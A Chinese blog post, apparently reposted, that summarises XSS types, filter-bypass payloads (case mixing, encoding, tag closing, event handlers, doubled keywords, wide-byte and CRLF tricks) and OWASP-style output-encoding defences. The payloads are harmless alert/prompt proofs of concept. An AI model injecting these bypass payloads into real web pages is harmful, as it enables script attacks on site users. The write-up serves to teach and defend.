跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

0x01 XSS的分类

  • 反射型(非持久型)
  • 存储型(持久型)
  • DOM型

具体的一些介绍与简单的实例就不做详述了,本文主要介绍的是XSS的绕过技巧与防御。

0x02 XSS的绕过

大小写绕过

    <ScRIpT>alert('123')</sCRIpT>

编码绕过

1.十六进制编码2.jsfuck编码3.url编码4.unicode编码<0x736372697074>alert('123')</0x736372697074><img src="1" onerror="alert(1)"> '被过滤,我们可以将'写为 &#x27将"/"转义为"&sol;"

绕过magic_quotes_gpc

    <script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script> 

闭合标签

    "><script>alert(/123/)</script></script><script>alert(1)</script> 

标签绕过

    <img src="x" onerror="alert(1)"><button onclick="javascript:alert('xss')>XSS</button"><title><img a="</title><img/src=1 onerror=alert(1)//">"onsubmit=javascript:alert(1)%20name="a

其他符号绕过

    %0aalert(1);   %0a  换行符/**/            替换空格%00             截断

双字母绕过

    <img ononerrorerror="123"><script>alalertert(123)</script>

宽字节绕过

    gbxxxx系列的编码,那么我们尝试一下宽字节  %c0 %bf  %5c

其他事件绕过

    onloadonclickonerrorpromptconfirmonmousemove

CRLF injection绕过

CRLF是”回车 + 换行”(\r\n)的简称。
http://www.xxx.com%0d%0a%0d%0a+xss代码<svg/onload=prompt(1)>

0x03 XSS的防御

  • 原则1:“Secure By Default”原则:不要往HTML页面中插入任何不可信数据

  • 原则2:在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码

  • 原则3:在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码

  • 原则4:在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码

  • 原则5:在将不可信数据插入到Style属性里时,对这些数据进行CSS编码

  • 原则6:在将不可信数据插入到HTML URL里时,对这些数据进行URL编码

  • 原则7:使用富文本时,使用XSS规则引擎进行编码过滤

欢迎访问独立博客joy_nick

转载于:https://www.cnblogs.com/joy-nick/p/5774469.html

XSS绕过与防御总结相关推荐

  1. XSS绕过,XSS过滤速查,XSS绕过姿势

    1.介绍 这篇文章的主要目的是给专业安全测试人员提供一份跨站脚本漏洞检测指南.文章的初始内容是由RSnake提供给 OWASP,内容基于他的XSS备忘录:http://ha.ckers.org/xss ...

  2. 前端安全:CSRF、XSS该怎么防御?

    近几年随着业务的不断发展,前端随之面临很多安全挑战.我们在日常开发中也需要不断预防和修复安全漏洞.接下来,梳理一些场景的前端安全问题和对应的解决方案. XSS攻击介绍 XSS是后端的责任,后端应该在用 ...

  3. 深入理解XSS攻击与防御

    深入理解XSS攻击与防御 What is XSS XSS攻击的类型 XSS攻击原理 XSS攻击危害 XSS攻击方法 How to defense XSS 防御原则:永远不要相信用户的输入. 防御措施 ...

  4. 【奇淫巧技】XSS绕过技巧

    XSS记录 1.首先是弹窗函数: alert(1) prompt(1) confirm(1)eval() 2.然后是字符的编码和浏览器的解析机制: 要讲编码绕过,首先我们要理解浏览器的解析过程,浏览器 ...

  5. xss绕过尖括号和双括号_xss挑战平台练习

    -------------------------XSS挑战之旅------------------------- 最近在学习xss,找到了一个xss练习平台,在线地址:http://test.xss ...

  6. xss绕过字符过滤_XSS绕过实战练习

    前言 写这篇博文起源来自于一次网络安全实验课,在实验虚拟环境里有一个xss挑战,估计是搬别人的xss挑战进来,我觉得挺有意思,就记录一下.有些关卡不能再虚拟环境实践,我在自己物理机上找到那个xss挑战 ...

  7. 通过路由器绕过DDoS防御攻击web服务器总结

    本文摘要 最近一直在学习研究DDOS攻击,大家知道所谓DDOS攻击俗称分布式拒绝服务,攻击者一般都是通过大量的傀儡主机向目标主机开启的端口发送大量的数据包,造成目标主机的数据拥塞,资源耗尽最后瘫痪宕机 ...

  8. csrf漏洞防御方案_绕过CSRF防御

    CSRF漏洞很容易就可以被发现并利用.一眼看去很多站点好像在这方面都做得不错:当你检查针对敏感操作的请求时,他们往往会实施CSRF保护.有时候可能是一个在请求主体中的CSRF token,也有可能是一 ...

  9. 关于XSS攻击及其防御

    XSS XSS 是 Cross Site Scripting 跨站脚本攻击的意思,X是英文Cross的简称 什么叫做跨站,就是非自己网站,如果本网站运行了来自别的网站的东西就叫做XSS 举个例子,如下 ...

  10. XSS绕过安全狗WAF

    今天继续给大家介绍渗透测试相关知识,本文主要内容是XSS绕过安全狗WAF. 一.测试环境搭建 我们使用Vmware虚拟机搭建靶场环境.在Vmware虚拟机上,安装有PHPStudy,如下所示: 然后安 ...

最新文章

  1. 建造SAP Fiori部署
  2. 什么是死锁,产生的原因,防止死锁的办法
  3. 艾媒:第三方应用商店形成BAT3争霸格局
  4. python跳转下一页_Python网页浏览转到下一页
  5. 仅让演讲者看到备注信息
  6. python创意实用案例-9个 Python 实用案例分享
  7. springboot 多模块项目添加一新模块
  8. Perl打造溯雪拙劣仿制品
  9. 前端微信小程序开发基础
  10. cvte软件测试在线测评,CVTE笔试题总结归纳
  11. vue.js 菜鸟学习
  12. 将mmd模型改造成游戏可用模型
  13. JavaScript 编程精解 中文第三版 五、高阶函数
  14. 《理财系列》-《穷爸爸富爸爸》
  15. 判断输入的手机号码格式是否正确(用Java实现)
  16. fileupload.class.php,PHP 文件上传类 FileUpload 高洛峰老师 细说PHP
  17. 图片服务器 imgproxy 入门教程--实现图片实时裁剪/压缩/处理等操作
  18. android开发 java.lang.IllegalStateException at android.media.MediaPlayer._prepare(Native Method)
  19. linux下webservice压力测试,pylot压力测试支持linux及windowsWebService性能及扩展性的工具.docx...
  20. 排列宝石问题C++实现

热门文章

  1. sql查询时取日期部分内容(年月日时分秒)、增加时间
  2. Windows小功能合集
  3. uniapp uView u-picker组件三级联动Demo
  4. Matlab系列教程_数值计算_最值、平均值、中值
  5. 中国OpenJDK联盟发行特别版本的想法
  6. 拿到窗口ID,为什么画的内容没有显示出来
  7. 2021-0413梦笔记
  8. 重装系统解决:CUPS服务未启动,不能管理打印机
  9. 代码管理学:凡事养成登记的做法,比如依赖库
  10. configure: error: Library requirements (libpcre >= 7.8) not met